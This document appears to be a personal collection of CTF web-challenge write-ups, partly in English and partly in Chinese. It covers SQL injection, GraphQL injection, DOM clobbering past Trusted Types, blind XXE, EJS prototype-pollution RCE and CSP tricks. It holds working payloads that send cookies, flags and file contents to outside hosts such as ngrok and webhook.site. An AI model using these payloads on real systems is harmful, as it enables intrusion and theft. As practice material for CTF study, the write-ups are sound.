from flask import render_template, render_template_string, request, flash, redirect, url_for, send_from_directory, make_response, abort
import flask_admin as admin
from flask_admin import Admin, expose, base
from flask_admin.contrib.sqla import ModelView
from flask_login import current_user, login_user, logout_user
from app.models import User, Role
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, BooleanField, SubmitField, TextAreaField, validators, widgets,fields, SelectMultipleField
from wtforms.validators import ValidationError, DataRequired, Email, EqualTo
from app.decorators import admin_required, user_required
from werkzeug.urls import url_parse
import os
#-------------------------Admins-------------------------
class MyAdmin(admin.AdminIndexView):
@expose('/')
@admin_required
def index(self):
return super(MyAdmin, self).index()
@expose('/user')
@expose('/user/')
@admin_required
def user(self):
return render_template_string('TODO, need create custom view')
admin = Admin(app, name='VolgaCTF', template_mode='bootstrap3', index_view=MyAdmin())
admin.add_view(ModelView(User, db.session))
#--------------------------------------------------------
#-------------------------Forms-------------------------
class LoginForm(FlaskForm):
username = StringField('Username', validators=[DataRequired()],render_kw={"placeholder": "username"})
password = PasswordField('Password', validators=[DataRequired()],render_kw={"placeholder": "password"})
remember_me = BooleanField('Remember Me')
submit = SubmitField('Sign In')
class RegistrationForm(FlaskForm):
username = StringField('Username', validators=[DataRequired()], render_kw={"placeholder": "username"})
email = StringField('Email', validators=[DataRequired(), validators.Length(1, 64), Email()],render_kw={"placeholder": "[email protected]"})
password = PasswordField('Password', validators=[DataRequired()],render_kw={"placeholder": "password"})
password2 = PasswordField(
'Repeat Password', validators=[DataRequired(), EqualTo('password')], render_kw={"placeholder": "password"})
submit = SubmitField('Register')
def validate_username(self, field):
if User.query.filter_by(username=field.data).first():
raise ValidationError('Username already in use.')
def validate_email(self, field):
if User.query.filter_by(email=field.data.lower()).first():
raise ValidationError('Email already registered.')
#-------------------------------------------------------
@app.route('/')
def index():
if current_user and current_user.is_authenticated and current_user.role.name == 'Administrator':
return os.environ.get('Volga_flag') or 'Error, not found flag'
return 'Hello, to get the flag, log in as admin'
@app.route('/login', methods=['GET', 'POST'])
def login():
form = LoginForm()
if form.validate_on_submit():
user = User.query.filter_by(username=form.username.data).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
else:
# Keep the user info in the session using Flask-Login
login_user(user, remember=form.remember_me.data)
next_page = request.args.get('next')
if not next_page or url_parse(next_page).netloc != '':
next_page = url_for('index')
return redirect(next_page)
return render_template('login.html', title='Sign In', form=form)
def permission_check(permission):
flag = False
try:
if current_user.can(permission):
return True
else:
return False
except AttributeError:
return False
return flag
@app.route('/logout')
def logout():
logout_user()
return redirect(url_for('index'))
@app.route('/register', methods=['GET', 'POST'])
def register():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = RegistrationForm()
if form.validate_on_submit():
user = User(username=form.username.data, email=form.email.data)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('Congratulations, you are now a registered user!')
return redirect(url_for('login'))
return render_template('register.html', title='Register', form=form)
I have no idea how to solve this at first because I am not familiar with Python. But I want to solve this one so I go to check the documentation: https://flask-admin.readthedocs.io/en/latest/api/mod_base/#default-view
This part is strange because I haven't seen this usage in the documentation:
#-------------------------Admins-------------------------
class MyAdmin(admin.AdminIndexView):
@expose('/')
@admin_required
def index(self):
return super(MyAdmin, self).index()
@expose('/user')
@expose('/user/')
@admin_required
def user(self):
return render_template_string('TODO, need create custom view')
admin = Admin(app, name='VolgaCTF', template_mode='bootstrap3', index_view=MyAdmin())
admin.add_view(ModelView(User, db.session))
I guess there are some endpoints which are not blocked so I tried /admin
, /admin/user
, /admin/user/
but all blocked.
I believe there must be something but I am lazy to reproduce the environment locally so I checked youtube video: https://www.youtube.com/watch?v=0cySORIhkCg&ab_channel=PrettyPrinted
And I found useful url /admi/user/new
http://172.105.84.156:5000/admin/user/new/
We can insert any user with admin role now! But what about password hash? how do I know what is the format?
The answer is: check youtube video again: https://www.youtube.com/watch?v=ysdShEL1HMM&ab_channel=PrettyPrinted
Found another useful url /admin/user/edit?id=1
I searched the keyword: pbkdf2:sha256:150000
and found this: https://www.cnblogs.com/jackadam/p/12196826.html
It seems pbkdf2:sha256:150000$ODedbYPS$4d1bd12adb1eb63f78e49873cbfc731e35af178cb9eb6b8b62c09dcf8db76670
is hello
so I created an admin account with this password.
I logged in with the account just created and successfully got the flag.
Your fingers too slow to smash, tbh.
We need to keep inputing the code on the image, so just create an automation script and do OCR.
The problem is, the OCR library is not that accurate, my solution is to use a fallback language and hope it works.
const puppeteer = require('puppeteer');
const path = require('path')
const fs = require('fs')
const pageUrl = 'http://challenge.ctf.games:31205/';
const { createWorker, PSM } = require('tesseract.js');
const worker = createWorker();
const worker2 = createWorker();
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
(async () => {
await worker.load();
await worker.loadLanguage('eng');
await worker.initialize('eng');
await worker.setParameters({
tessedit_char_whitelist: "0123456789"
});
await worker2.load();
await worker2.loadLanguage('chi_tra');
await worker2.initialize('chi_tra');
await worker2.setParameters({
tessedit_char_whitelist: "0123456789"
});
const browser = await puppeteer.launch({
headless: false
});
const page = await browser.newPage();
await page.goto(pageUrl);
send()
async function send() {
let { data: { text } } = await worker.recognize('http://challenge.ctf.games:31205/static/otp.png');
console.log('text:'+text)
if (text.length !== 9) {
const result = await worker2.recognize('http://challenge.ctf.games:31205/static/otp.png');
text = result.data.text
console.log('text again:'+text)
}
await page.evaluate((text) => {
document.querySelector('input[name=otp_entry]').value = text
document.querySelector('input[type=submit]').click()
}, text)
await page.waitForNavigation();
send()
}
})();
It'a simple login page:
source code:
const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')
// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
password TEXT
);`);
// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
'admin',
'${crypto.randomBytes(16).toString('hex')}'
)`);
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));
// login route
app.post('/login', (req, res) => {
if (!req.body.username || !req.body.password) {
return res.redirect('/');
}
if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
return res.redirect('/');
}
// see if user is in database
const query = `SELECT id FROM users WHERE
username = '${req.body.username}' AND
password = '${req.body.password}'
`;
let id;
try { id = db.prepare(query).get()?.id } catch {
return res.redirect('/');
}
// correct login
if (id) return res.sendFile('flag.html', { root: __dirname });
// incorrect login
return res.redirect('/');
});
app.listen(3000);
We need to bypass the authentication by sql injection. But it filters single quote, how to bypass this?
Actually they already gave us a hint:
// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
But the comment seems wrong, it's not parse json(it should be bodyParser.json
), it's to let urlencoded can be parse by qs
library which support passing array or even object.
Like this:
username[] = ' or '1' = '1
password[] = ' or '1' = '1
So both username and password is an array: ["' or '1' = '1'"]
. And it will be string ' or 1' = '1'
when concat with other string.
Now I am developing a blog service. I'm aware that there is a simple XSS. However, I introduced strong security mechanisms, named Content Security Policy and Trusted Types. So you cannot abuse the vulnerability in any modern browsers, including Firefox, right?
Because there is a report feature so we know it's a challenge about XSS.
Apparently, we can control the theme
query string to render whatever we want on the page, but we can't do much because of the strict CSP. We can't execute inline script, but at least there is one thing we know: we can inject html.
Then I played around with the website to find where I can do XSS, it's obviously that if we can control the callback
params of api.php
, we can execute arbitrary JavaScript code:
<?php
header('Content-Type: application/javascript');
$callback = $_GET['callback'] ?? 'render';
if (strlen($callback) > 20) {
die('throw new Error("callback name is too long")');
}
echo $callback . '(' . json_encode([
["id" => 1, "title" => "Hello, world!", "content" => "Welcome to my blog platform!"],
["id" => 2, "title" => "Lorem ipsum", "content" => "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."]
]) . ')';
For example, api.php?callback=alert(1);
will display a popup because the output is alert(1);([...])
.
Manipulating the value of window.callback
is simple, DOM clobbering works in this case.
But unfortunately it's still not working in the end because of the Trusted Types feature.
Actually I don't even know what is Trusted Types before this chall so I quickly google it and found that it's a new way to prevent DOM XSS, and the developer can write their own policy for filtering malicious payload.
For example, this call registers a default policy and block the url which includes callback
and check if trustedTypes.defaultPolicy
is successfully registered.
const init = () => {
// try to register trusted types
try {
trustedTypes.createPolicy('default', {
createHTML(url) {
return url.replace(/[<>]/g, '');
},
createScriptURL(url) {
if (url.includes('callback')) {
throw new Error('custom callback is unimplemented');
}
return url;
}
});
} catch {
if (!trustedTypes.defaultPolicy) {
throw new Error('failed to register default policy');
}
}
// TODO: implement custom callback
jsonp('/api.php', window.callback);
};
For now even we can decide what is the value for window.callback
, we can't pass it to api.php
.
So our goal is quite clear, if we can bypass this check, we can do XSS. But how?
If you read the description carefully, you should know this problem must be something to do with Firefox because the description mention Firefox particularly.
At first I tried to google the keyword like: firefox trusted type vulnerability
, firefox trusted type bug
but got no luck.
Later on, I found a js file named trustedtypes.build.js
, and from the source code we know it's from Google. But from the resources I read before, Trusted Types is a built-in feature so no need any js file, unless... it's not implemented yet.
If it's not implemented, we need a polyfill to simulate this feature. At that moment I know why this chall choose Firefox, because Firefox has no built-in support for trusted types yet so it needs a polyfill to work properly.
You can find the original polyfill easily by googling, here is the snippet of the file: https://github.com/w3c/webappsec-trusted-types/blob/main/src/polyfill/full.js
/**
* Determines if the enforcement should be enabled.
* @return {boolean}
*/
function shouldBootstrap() {
for (const rootProperty of ['trustedTypes', 'TrustedTypes']) {
if (window[rootProperty] && !window[rootProperty]['_isPolyfill_']) {
// Native implementation exists
return false;
}
}
return true;
}
// Bootstrap only if native implementation is missing.
if (shouldBootstrap()) {
bootstrap();
}
The check is common, only polyfill if there is no native support. Actually we can cheated to pretend it has native support via DOM clobbering.
Remember we can inject any HTML payload?
<a id="trustedTypes" />
So window['trustedTypes']
is truthy and bootstrap
function won't be execute, there is no Trusted Types anymore!
But it's not finished yet, there is another check fortrustedTypes.defaultPolicy
:
const init = () => {
try {
// ignore
} catch {
// we need to bypass this
if (!trustedTypes.defaultPolicy) {
throw new Error('failed to register default policy');
}
}
jsonp('/api.php', window.callback);
};
Easy, we can use form
instead of a
to create two-level DOM clobbering:
<form id="trustedTypes">
<input name="defaultPolicy" />
</form>
After bypass Trusted Types, we can execute arbitrary JavaScript via api.php.
But there is another issue, the length of callback can only be 20 char, how can I do XSS and get cookie within this limitation? document.cookie
itself is already 15 characters.
I stuck here for so long, try to use eval
or setTimeout
but it has been block by CSP, for sure.
After trying like an hour, I realized that I can reuse the existed function: jsonp
, oh it took me so long
const jsonp = (url, callback) => {
const s = document.createElement('script');
if (callback) {
s.src = `${url}?callback=${callback}`;
} else {
s.src = url;
}
document.body.appendChild(s);
};
By calling jsonp
we can inject our own script instead of doing XSS directly on the page.
But the url is still too long(unless you domain is quite short), how can we do?
DOM clobbering again!
// xss payload url
<a id="y" href="https://a7f488587d27.ngrok.io/payload.js"></a>
// manipulate window.callback
<a id="callback" href="a&callback=jsonp(y);"></a>
The content of self-hosted file payload.js
is quite simple:
location='my_server?c='+document.cookie
By chaining all the vulnerabilities above, mostly DOM clobbering, we can do XSS and get the cookie, which is the flag.
// bypass Trusted Types
<form id="trustedTypes"><input name="defaultPolicy" /></form>
// xss via file
<a id="y" href="https://a7f488587d27.ngrok.io/payload.js"></a>
// manipulate window.callback
<a id="callback" href="a&callback=jsonp(y);"></a>
整個網頁都是沒有功能的
檢視原始碼會發現這樣一段 code:
<script>
function create_note() {
alert("sorry but this functionality is disabeled due to technical problems");
//query_data = `mutation {createNote(body:${document.getElementById("note-content").value}, title:"anon note", username:"guest"){note{uuid}}}`;
//fetch(`/graphql?query=mutation{createNote(body:"ww", title:"anon note", username:"guest"){note{uuid}}}`, {method: "POST"});
}
</script>
線索很明顯就是 graphql,接著試著打打看
http://207.180.200.166:8080/graphql?query=mutation{createNote(body:"ww", title:"anon note", username:"guest"){note{uuid}}}
發現確實建立了一個 note。
我對 graphql 不熟所以接下來開始亂試,發現有時候試到錯的東西會有提示,也太智慧了吧。試過以下東西:
http://207.180.200.166:8080/graphql?query={note{uuid}}
http://207.180.200.166:8080/graphql?query={getNotes{uuid}}
http://207.180.200.166:8080/graphql?query={coolNotes{uuid, body, title}}
http://207.180.200.166:8080/graphql?query={coolNotes{uuid, body, title}}
後來透過 google: graphql query all fields
找到這篇:How to query all the GraphQL type fields without writing a long query?
就可以列舉出特定 object 的欄位:
{__type(name:"NoteObjectConnection") {fields {name,description}}}
{__type(name:"NoteObject") {fields {name,description}}}
{__type(name:"UserObject") {fields {name,description}}}
{__type(name:"UserObjectConnection") {fields {name,description}}}
{__type(name:"UserObjectEdge") {fields {name,description}}}
於是就可以拿到任何你想要的資料:
http://207.180.200.166:8080/graphql?query={coolNotes{uuid, body, title, authorId, author, id}}
{allNotes{ edges{ node { id, uuid, title, body } } } }
{allUsers{ edges{ node { id, uuid, username } } } }
接著在 note 裡面發現一個 flag:CUCTF{graphql_d3f1n1tely_1s_the_futur30985}
然後在 discord 看到提醒,這個不是真的 flag,拿這個 flag 去找到之前的 CUCTF,找到前身的幾個 write up:
進而找到了這篇:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection
發現這個超好用 query 可以拿到所有資訊:
{__schema{types{name,fields{name}}}}
接著卡關卡一陣子,不知道該怎麼繼續,然後在看上面列出來的資訊時看到 getNote 覺得滿可疑,然後帶的參數也可以從上面得知,就試試看什麼:
{getNote(q:"flag"){ id,uuid, title, body }}
發現毫無反應只回傳空的資料,就試了:
{getNote(q:"''"){ title }}
然後就成功爆炸了!
{
"errors": [
{
"message": "(sqlite3.OperationalError) unrecognized token: \"'''\"\n[SQL: SELECT * FROM NOTES where uuid=''']\n(Background on this error at: http://sqlalche.me/e/13/e3q8)",
"locations": [
{
"line": 1,
"column": 2
}
],
"path": [
"getNote"
]
}
],
"data": {
"getNote": null
}
}
很明顯是 sqlite 的 injection,先看有幾個欄位:
{getNote(q:" ' union SELECT 1,1,1,1--"){ id,uuid, title, body }}
然後根據 SQLite Injection 拿到很多實用的資訊:
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
{getNote(q:" ' union SELECT tbl_name,1,1,1 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--"){ id,uuid, title, body }}
在 table 裡面找到一個很可疑的 table name: العلم
接著弄出 sql
{getNote(q:" ' union SELECT sql,1,2,3 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='العلم' --"){ id,uuid, title, body }}
結果:
'CREATE TABLE العلم (id INTEGER PRIMARY KEY, flag TEXT NOT NULL)
最後就可以拿到 flag 了
{getNote(q:" ' union SELECT flag,1,2,3 FROM العلم --"){ id,uuid, title, body }}
貼一下沒解出來的幾題找到的 writeup 還有可以檢討的地方
https://ctftime.org/event/1249/tasks/
題目:
#!/bin/bash
RED='\e[0;31m'
END='\e[0m'
GREEN='\e[0;32m'
while :
do
echo "What would you like to say?"
read USER_INP
if [[ "$USER_INP" =~ ['&''$''`''>''<''/''*''?'txcsbqi] ]]; then
echo -e "${RED}Hmmmm, what are you trying to do?${END}"
else
OUTPUT=$($USER_INP) &>/dev/null
echo -e "${GREEN}The command has been executed. Let's go again!${END}"
fi
done
當初完全沒想到怎麼繞過那些,隨便試一下就放棄了
後來看到的 writeup 是這篇:https://github.com/ryan-cd/ctf/tree/master/2021/0x41414141/shjail
他用 od 來確認檔案是否存在,但是用 nl 也可以,可以用這樣找出可用的指令:
ls /usr/bin/[ad-hj-pruvwyz][ad-hj-pruvwyz]
不能輸入明確字母的部分可以用 [a-z]
來代替:flag.[a-z][a-z][a-z]
最後要輸出內容可以用錯誤訊息來輸出,例如說 perl flag.[a-z][a-z][a-z]
其他參考資料:
https://github.com/ph03n11x/0x41414141-CTF/tree/main/0x41414141/FirstApp
有找到另外一篇但只貼在 discord:
http://207.180.200.166:3000/
http://207.180.200.166:3000/login
# login with anything
http://207.180.200.166:3000/profile?id=zk
http://207.180.200.166:3000/profile?id=flag
# guesswork 1
# notice the image
http://207.180.200.166:3000/images/flag.jpg
# similar to xft but larger... stegano
steghide the image:
I made this cool feature that clones offshift website
/get_url?url=http://www.offshift.io/
I tried to serve it as local files but a lot of people abused the service to hack me
so now I limited it to localhost only
http://207.180.200.166:3000/get_url?url=http://www.offshift.io/
# serve local files ?
http://207.180.200.166:3000/get_file
# guesswork 2
# but only locally ?
http://207.180.200.166:3000/get_url?url=http://localhost:3000/get_file
# param
http://207.180.200.166:3000/get_url?url=http://localhost:3000/get_file?file[]
# not useful, but confirms it's the payload
http://207.180.200.166:3000/get_url?url=http://localhost:3000/get_file?file=./flag.txt
# guesswork 3
有人直接通靈出 get_file 跟 get_url 這兩個 url,有點厲害
但就算不是這樣,也需要從圖片中通靈出 flag.jpg 這個檔案的存在,然後從圖片中拿到訊息,就可以知道 get_url 這個網址
然後要通靈出 get_file,再通靈出參數叫做 file 然後就可以過關...
ctf 通靈能力點不夠高,看來要繼續磨練
https://github.com/sambrow/ctf-writeups-2021/tree/master/0x41414141/waffed
沒注意到試著用 * 之類的 pattern 去試,以後可以多嘗試一點東西
先筆記一下
https://www.notion.so/Factorize-b96056dc70f54cc7b42b32f8984cb7cf
從線索中可以看出是以前的題目重新改過
透過關鍵字:Special Order ctf
可以找到這篇 write up,發現是 XXE
https://github.com/Ambrotd/hacktivitycon/blob/master/Special%20Order/Special%20Order.md
如果再拿詳細比賽名稱去 google
special order hacktivitycon
可以找到 source code
https://github.com/pop-eax/SpecialOrder
還有作者的 blog
https://pop-eax.github.io/blog/posts/ctf-writeup/web/2020/08/01/h-cktivitycon-ctf-specialorder/
到處摸索有沒有其他地方可以打,都發現沒有
嘗試了原本的 XXE 發現 xml 還是會解析,只是最後不會輸出結果而已
越想越覺得這邊不對勁,如果要修復幹嘛不整個拿掉,居然還是 parse xml 了
於是找到了 portSwigger,看到這篇
https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages
其中有一招是用外部的 dtd 引起錯誤,然後用錯誤訊息把輸出帶出來
https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages
就照著上面寫的,新建一個檔案放 server
<!ENTITY % file SYSTEM "file:///flag.txt">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;aaa
然後去引用這個檔案
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://1101905f73b1.ngrok.io/a.dtd">%xxe;
]>
<root>
<color>123</color>
<size>40px</size>
</root>
就過關了
順利拿到 flag
Invalid URI: file:///invalid/flag{i7_1s_n0t_s0_bl1nd3721}
, line 3, column 7 (a.dtd, line 3)
Laura just found a website used for monitoring security mechanisms on Rhiza's state and is planning to hack into it to forge the status of these security services. After that she will desactivate these security resources without alerting government agents. Your goal is to get into the server to change the monitoring service behavior.
Source code:
const express = require('express')
const bodyParser = require('body-parser')
const jsonpatch = require('fast-json-patch')
const ejs = require('ejs')
const basicAuth = require('express-basic-auth')
const app = express()
// Middlewares //
app.use(bodyParser.json())
app.use(basicAuth({
users: { "admin": process.env.SECRET || "admin" },
challenge: true
}))
/////////////////
let services = {
status: "online",
cameras: "online",
doors: "online",
dome: "online",
turrets: "online"
}
// Static folder
app.use("/static", express.static(__dirname + "/static"));
// Homepage
app.get("/", async (req, res) => {
const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services})
res.end(html)
})
// API
app.post("/change_status", (req, res) => {
let patch = []
Object.entries(req.body).forEach(([service, status]) => {
if (service === "status"){
res.status(400).end("Cannot change all services status")
return
}
patch.push({
"op": "replace",
"path": "/" + service,
"value": status
})
});
jsonpatch.applyPatch(services, patch)
if ("offline" in Object.values(services)){
services.status = "offline"
}
res.json(services)
})
app.listen(1337, () => {
console.log(`App listening at port 1337`)
})
There are two lines caught my eyes immediately: jsonpatch.applyPatch(services, patch)
and ejs.renderFile(__dirname + "/templates/index.ejs", {services})
.
From my experience, jsonpatch
might have prototype pollution vulnerability. After googling a bit I found this open PR: Starcounter-Jack/JSON-Patch#262 and confirm that prototype pollution exists.
But what can we do with this? I googled: prototype pollution ejs ctf
and found this useful article: From Prototype Pollution to RCE
We can use outputFunctionName
to do RCE.
So just post this to /change_status
and that's all, solved the challenge by googling!:
{
"constructor/prototype/outputFunctionName": "a=1;const http=process.mainModule.require('https');const flag=process.mainModule.require('child_process').execSync('/readflag').toString();req=http.get(`https://webhook.site/844be20d-00d7-4696-88f9-1ffb5261b3e0?q=${flag}`);req.end();//"
}
Challenge link: https://challenge-1121.intigriti.io/
Source code: https://challenge-1121.intigriti.io/challenge/index.php?s=security
I removed css part because it's not important and too long.
<html>
<head>
<title>You searched for 'security'</title>
<script nonce="58d08eb122159ce2369f901f5d125462">
var isProd = true;
</script>
<script nonce="58d08eb122159ce2369f901f5d125462">
function addJS(src, cb){
let s = document.createElement('script');
s.src = src;
s.onload = cb;
let sf = document.getElementsByTagName('script')[0];
sf.parentNode.insertBefore(s, sf);
}
function initVUE(){
if (!window.Vue){
setTimeout(initVUE, 100);
}
new Vue({
el: '#app',
delimiters: window.delimiters,
data: {
"owasp":[
{"target": "1", "title":"A01:2021-Broken Access Control","description":" moves up from the fifth position to the category with the most serious web application security risk; the contributed data indicates that on average, 3.81% of applications tested had one or more Common Weakness Enumerations (CWEs) with more than 318k occurrences of CWEs in this risk category. The 34 CWEs mapped to Broken Access Control had more occurrences in applications than any other category."},
{"target": "2", "title":"A02:2021-Cryptographic Failures","description":" shifts up one position to #2, previously known as A3:2017-Sensitive Data Exposure, which was broad symptom rather than a root cause. The renewed name focuses on failures related to cryptography as it has been implicitly before. This category often leads to sensitive data exposure or system compromise."},
{"target": "3", "title":"A03:2021-Injection","description":" slides down to the third position. 94% of the applications were tested for some form of injection with a max incidence rate of 19%, an average incidence rate of 3.37%, and the 33 CWEs mapped into this category have the second most occurrences in applications with 274k occurrences. Cross-site Scripting is now part of this category in this edition."},
{"target": "4", "title":"A04:2021-Insecure Design","description":" is a new category for 2021, with a focus on risks related to design flaws. If we genuinely want to \"move left\" as an industry, we need more threat modeling, secure design patterns and principles, and reference architectures. An insecure design cannot be fixed by a perfect implementation as by definition, needed security controls were never created to defend against specific attacks."},
{"target": "5", "title":"A05:2021-Security Misconfiguration","description":" moves up from #6 in the previous edition; 90% of applications were tested for some form of misconfiguration, with an average incidence rate of 4.5%, and over 208k occurrences of CWEs mapped to this risk category. With more shifts into highly configurable software, it's not surprising to see this category move up. The former category for A4:2017-XML External Entities (XXE) is now part of this risk category."},
{"target": "6", "title":"A06:2021-Vulnerable","description":" and Outdated Components was previously titled Using Components with Known Vulnerabilities and is #2 in the Top 10 community survey, but also had enough data to make the Top 10 via data analysis. This category moves up from #9 in 2017 and is a known issue that we struggle to test and assess risk. It is the only category not to have any Common Vulnerability and Exposures (CVEs) mapped to the included CWEs, so a default exploit and impact weights of 5.0 are factored into their scores."},
{"target": "7", "title":"A07:2021-Identification and Authentication Failures","description":" was previously Broken Authentication and is sliding down from the second position, and now includes CWEs that are more related to identification failures. This category is still an integral part of the Top 10, but the increased availability of standardized frameworks seems to be helping."},
{"target": "8", "title":"A08:2021-Software and Data Integrity Failures","description":" is a new category for 2021, focusing on making assumptions related to software updates, critical data, and CI/CD pipelines without verifying integrity. One of the highest weighted impacts from Common Vulnerability and Exposures/Common Vulnerability Scoring System (CVE/CVSS) data mapped to the 10 CWEs in this category. A8:2017-Insecure Deserialization is now a part of this larger category."},
{"target": "9", "title":"A09:2021-Security Logging and Monitoring Failures","description":" was previously A10:2017-Insufficient Logging & Monitoring and is added from the Top 10 community survey (#3), moving up from #10 previously. This category is expanded to include more types of failures, is challenging to test for, and isn't well represented in the CVE/CVSS data. However, failures in this category can directly impact visibility, incident alerting, and forensics."},
{"target": "10", "title":"A10:2021-Server-Side Request Forgery","description":" is added from the Top 10 community survey (#1). The data shows a relatively low incidence rate with above average testing coverage, along with above-average ratings for Exploit and Impact potential. This category represents the scenario where the security community members are telling us this is important, even though it's not illustrated in the data at this time."},
].filter(e=>{
return (e.title + ' - ' + e.description)
.includes(new URL(location).searchParams.get('s')|| ' ');
}),
"search": new URL(location).searchParams.get('s')
}
})
}
</script>
<script nonce="58d08eb122159ce2369f901f5d125462">
var delimiters = ['v-{{', '}}'];
addJS('./vuejs.php', initVUE);
</script>
<script nonce="58d08eb122159ce2369f901f5d125462">
if (!window.isProd){
let version = new URL(location).searchParams.get('version') || '';
version = version.slice(0,12);
let vueDevtools = new URL(location).searchParams.get('vueDevtools') || '';
vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');
if (version === 999999999999){
setTimeout(window.legacyLogger, 1000);
} else if (version > 1000000000000){
addJS(vueDevtools, window.initVUE);
} else{
console.log(performance)
}
}
</script>
</head>
<body>
<div id="app">
<form action="" method="GET">
<input type="text "name="s" v-model="search"/>
<input type="submit" value="🔍">
</form>
<p>You searched for v-{{search}}</p>
<ul class="tilesWrap">
<li v-for="item in owasp">
<h2>v-{{item.target}}</h2>
<h3>v-{{item.title}}</h3>
<p>v-{{item.description}}</p>
<p>
<a v-bind:href="'https://blog.intigriti.com/2021/09/10/owasp-top-10/#'+item.target" target="blog" class="readMore">Read more</a>
</p>
</li>
</ul>
</div>
</body>
</html>
It's obviously we can inject arbitrary html via ?s=
query string, but v-{{}}
is filtered so we can't just do CSTI:
https://challenge-1121.intigriti.io/challenge/index.php?s=v-{{}}
You searched for '%v%{{}}'
Another interesting part is here:
if (!window.isProd){
let version = new URL(location).searchParams.get('version') || '';
version = version.slice(0,12);
let vueDevtools = new URL(location).searchParams.get('vueDevtools') || '';
vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');
if (version === 999999999999){
setTimeout(window.legacyLogger, 1000);
} else if (version > 1000000000000){
addJS(vueDevtools, window.initVUE);
} else{
console.log(performance)
}
}
First, version === 999999999999
is impossible to achieve because version is a string and 999999999999 is number, how about version > 1000000000000
?
It seems also not possible because we only take first 12 characters of version and 1000000000000
is 13 digits, it's always smaller.
Here comes the interesting part, there is a number in JS called Infinity
, it's bigger than any other numbers. When JS engine runs the comparison between string and number, it tries to cast string to number first, so 'Infinity' > 1000000000000
is true!
But, how can we make window.isProd
falsy? DOM clobbering is not useful here because we already declared a global variablevar isProd = true;
above.
I came up with a solution, we can inject <script>
tag like this:
https://challenge-1121.intigriti.io/challenge/index.php?s=security%3C/title%3E%3Cscript%3E
By doing so, the script is blocked by CSP because there is no nonce in attribute.
After bypass this, we can manipulate the src
of newly inserted script. But, there are some restrictions on it:
vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');
Don't forget the CSP as well:
content-security-policy: base-uri 'self'; default-src 'self'; script-src 'unsafe-eval' 'nonce-5ca758a744d3dce316e1680e295c5c89' 'strict-dynamic'; object-src 'none'; style-src 'sha256-dpZAgKnDDhzFfwKbmWwkl1IEwmNIKxUv+uw+QP89W3Q='
I stuck here for a day because I can't inject anything useful.
Then, I saw the hint from this tweet:
Sometimes, you need to make your enemy stronger in order to be able to break it! That's just our policy!
I had a feeling it's something to do with CSP, and it's right.
The HTML injection is in the <head>
,so we can inject CSP. You may wondering, why would we do that?
Because we can prevent certain scripts from execution by putting stronger policy!
An example here: https://challenge-1121.intigriti.io/challenge/index.php?s=</title><meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval' 'strict-dynamic';">
We removed nonce
in CSP so you will see four errors in the console:
By adding sha-xxx
to CSP, we can choose which script to load.
It's much easier now, we have 4 scripts:
<script nonce="6937ca6465a9df0b11dd56232ced38">
// 1
var isProd = true;
</script>
<script nonce="6937ca6465a9df0b11dd56232ced38">
// 2
function addJS(src, cb){
let s = document.createElement('script');
s.src = src;
s.onload = cb;
let sf = document.getElementsByTagName('script')[0];
sf.parentNode.insertBefore(s, sf);
}
function initVUE(){
if (!window.Vue){
setTimeout(initVUE, 100);
}
new Vue({
el: '#app',
delimiters: window.delimiters,
data: {
"owasp":[
{"target": "1", "title":"A01:2021-Broken Access Control","description":" moves up from the fifth position to the category with the most serious web application security risk; the contributed data indicates that on average, 3.81% of applications tested had one or more Common Weakness Enumerations (CWEs) with more than 318k occurrences of CWEs in this risk category. The 34 CWEs mapped to Broken Access Control had more occurrences in applications than any other category."},
{"target": "2", "title":"A02:2021-Cryptographic Failures","description":" shifts up one position to #2, previously known as A3:2017-Sensitive Data Exposure, which was broad symptom rather than a root cause. The renewed name focuses on failures related to cryptography as it has been implicitly before. This category often leads to sensitive data exposure or system compromise."},
{"target": "3", "title":"A03:2021-Injection","description":" slides down to the third position. 94% of the applications were tested for some form of injection with a max incidence rate of 19%, an average incidence rate of 3.37%, and the 33 CWEs mapped into this category have the second most occurrences in applications with 274k occurrences. Cross-site Scripting is now part of this category in this edition."},
{"target": "4", "title":"A04:2021-Insecure Design","description":" is a new category for 2021, with a focus on risks related to design flaws. If we genuinely want to \"move left\" as an industry, we need more threat modeling, secure design patterns and principles, and reference architectures. An insecure design cannot be fixed by a perfect implementation as by definition, needed security controls were never created to defend against specific attacks."},
